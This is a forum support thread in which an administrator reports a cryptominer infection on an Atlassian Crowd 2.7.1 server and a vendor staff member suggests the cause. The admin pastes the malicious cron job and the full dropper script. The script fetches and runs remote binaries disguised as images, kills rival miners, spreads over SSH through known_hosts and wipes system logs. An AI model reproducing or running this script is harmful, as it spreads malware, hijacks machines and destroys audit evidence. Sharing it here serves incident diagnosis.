Crowd infected with malware

[Andrew Farren]

Crowd 2.7.1

I have a crowd installation that has been infected with malware. This is a standalone install that supports confluence and jira install on separate servers (all 3 installed on different machines). 

I had a malware issue on confluence install a while back due to documented exploit. I removed that malware and upgraded confluence. 

I found in the last few days another similar but newer infection on the crowd box. I noticed because the infection used up all resources and caused out of memory errors. 

How is it possible crowd got infected since there is no functionality beside demo app?

More details:

[root@server-09 crowd]# crontab -l
*/15 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh

and 

khugepaged running in /tmp as a non-root user. 

There are also a couple of other anomolous processes running in /tmp as well. 

[root@server-09 crowd]# ll /tmp/
total 8652
-rwxrwxr-x 1 albie albie 2476028 Jul 31 13:38 77a3984c38bb251
-rwxrwxr-x 1 albie albie 2476028 Jul 30 17:28 77a3984c38bb25153
drwxr-xr-x 2 root root 4096 Jul 30 17:29 hsperfdata_root
-rwxr-xr-x 1 albie albie 572376 Jul 30 17:28 khugepaged
-rwxrwxr-x 1 albie albie 2729824 Jul 19 14:27 sshd
-rwxr-xr-x 1 albie albie 572376 Jul 31 13:38 systemd-uduvd 

specifically the 77a3984... processes. Running strace on these leads to

goroutine 1 [running]:
github.com/hippies/LSD/LSDB.KWR(0x6cd9f8, 0xa, 0x7)
/root/go/src/github.com/hippies/LSD/LSDB/a.go:67 +0x3cc
main.main()
/root/go/src/github.com/hippies/LSD/main.go:31 +0x3b1
<unfinished ...>
+++ exited with 2 +++ 

a search of which turns up a result from https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang which seems to say that this is a new variant of the older khugepageds written in golang. 

This is a wholly separate machine from the on that I had the confluence malware issues with (although this *is* the authentication point for the confluence install). 

The aforementioned cron job downloads an index.html with the following contents:

[root@server-09 kerbware]# cat index.html
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
chmod 1777 /tmp

echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh"|crontab -
cat > /etc/crontab <<EOF
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin

*/10 * * * * root (/usr/local/sbin/77a3984c38bb25153655adf977a1b2||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
EOF

ps -ef |grep "\w\{33\}$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "watchbog"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]bcb$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]bcc$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]bcd$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]bce$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]fa0$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]fa1$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]fa2$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]fa3$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep -E "[a-z]fa4$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "migrations"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "httpdz"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
ps -e|grep -v grep|grep "kerberods"|awk '{print $1}'|xargs kill -9
ps -ef|grep -v grep|grep conflue|grep "/bin/bash$"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep conflue|grep "sh rc9$"|awk '{print $2}'|xargs kill -9

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
chattr -i 77a3984c38bb25153655adf977a1b2
rm -rf 77a3984c38bb25153655adf977a1b2
ARCH=$(getconf LONG_BIT)
if [ ${ARCH}x = "64x" ]; then
(curl -fsSL -m180 img.sobot.com/chatres/89/msg/20190729/2328370e8172416fa255e541d82cb271.png -o 77a3984c38bb25153655adf977a1b2||wget -T180 -q img.sobot.com/chatres/89/msg/20190729/2328370e8172416fa255e541d82cb271.png -O 77a3984c38bb25153655adf977a1b2||curl -fsSL -m180 never.b-cdn.net/x64 -o 77a3984c38bb25153655adf977a1b2||wget -T180 -q never.b-cdn.net/x64 -O 77a3984c38bb25153655adf977a1b2||curl -fsSL -m180 cdn.xiaoduoai.com/cvd/dist/fileUpload/1564407863330/7.9092922123650595.jpg -o 77a3984c38bb25153655adf977a1b2||wget -T180 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1564407863330/7.9092922123650595.jpg -O 77a3984c38bb25153655adf977a1b2)
else
(curl -fsSL -m180 img.sobot.com/chatres/89/msg/20190729/874455422eb04a8fba265f0fc1e07b83.png -o 77a3984c38bb25153655adf977a1b2||wget -T180 -q img.sobot.com/chatres/89/msg/20190729/874455422eb04a8fba265f0fc1e07b83.png -O 77a3984c38bb25153655adf977a1b2||curl -fsSL -m180 never.b-cdn.net/x32 -o 77a3984c38bb25153655adf977a1b2||wget -T180 -q never.b-cdn.net/x32 -O 77a3984c38bb25153655adf977a1b2||curl -fsSL -m180 cdn.xiaoduoai.com/cvd/dist/fileUpload/1564407896384/9.811805826684886.jpg -o 77a3984c38bb25153655adf977a1b2||wget -T180 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1564407896384/9.811805826684886.jpg -O 77a3984c38bb25153655adf977a1b2)
fi
fi
chmod +x 77a3984c38bb25153655adf977a1b2
$(pwd)/77a3984c38bb25153655adf977a1b2 || ./77a3984c38bb25153655adf977a1b2 || /usr/bin/77a3984c38bb25153655adf977a1b2 || /usr/libexec/77a3984c38bb25153655adf977a1b2 || /usr/local/bin/77a3984c38bb25153655adf977a1b2 || 77a3984c38bb25153655adf977a1b2 || /tmp/77a3984c38bb25153655adf977a1b2 || /usr/local/sbin/77a3984c38bb25153655adf977a1b2
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi

for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi
fi
done

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

Is there a new exploit running around that somehow hit crowd? This *is* an older version of crowd: 2.7.1 but I can't figure out how this might have gotten in. 

Any tips/advice appreciated. 

[Stephen Sifers]

Hello AJ,

Thank you for sending over the details around your infection with Crowd. As you referenced, Confluence itself did have an active exploit that looks to have been exploited on your hosted system. While rare, the exploit can reach from Confluence to Crowd via an SSH connection. With this said, we would suggest running the cleanup scripts you ran for Confluence on your Crowd instance as well.

As far as exploits for Crowd, there is one that is recent: https://www.cvedetails.com/product/22351/Atlassian-Crowd.html?vendor_id=3578.

Additional information on this exploit may be found at the following articles:

• Crowd Security Advisory 2019-05-22
• Security Advisory FAQ - Crowd Server and Data Center 2019-05-22

If you’re still having issues with Crowd after the cleanup, please reach out and let us know.

Regards,
Stephen Sifers

[Andrew Farren]

Thanks. 

The cleanup scripts and other work I did on the confluence install have so far been insufficient in cleaning up this infection. This one seems more persistent and tenacious. I will most likely re-install crowd on a new server.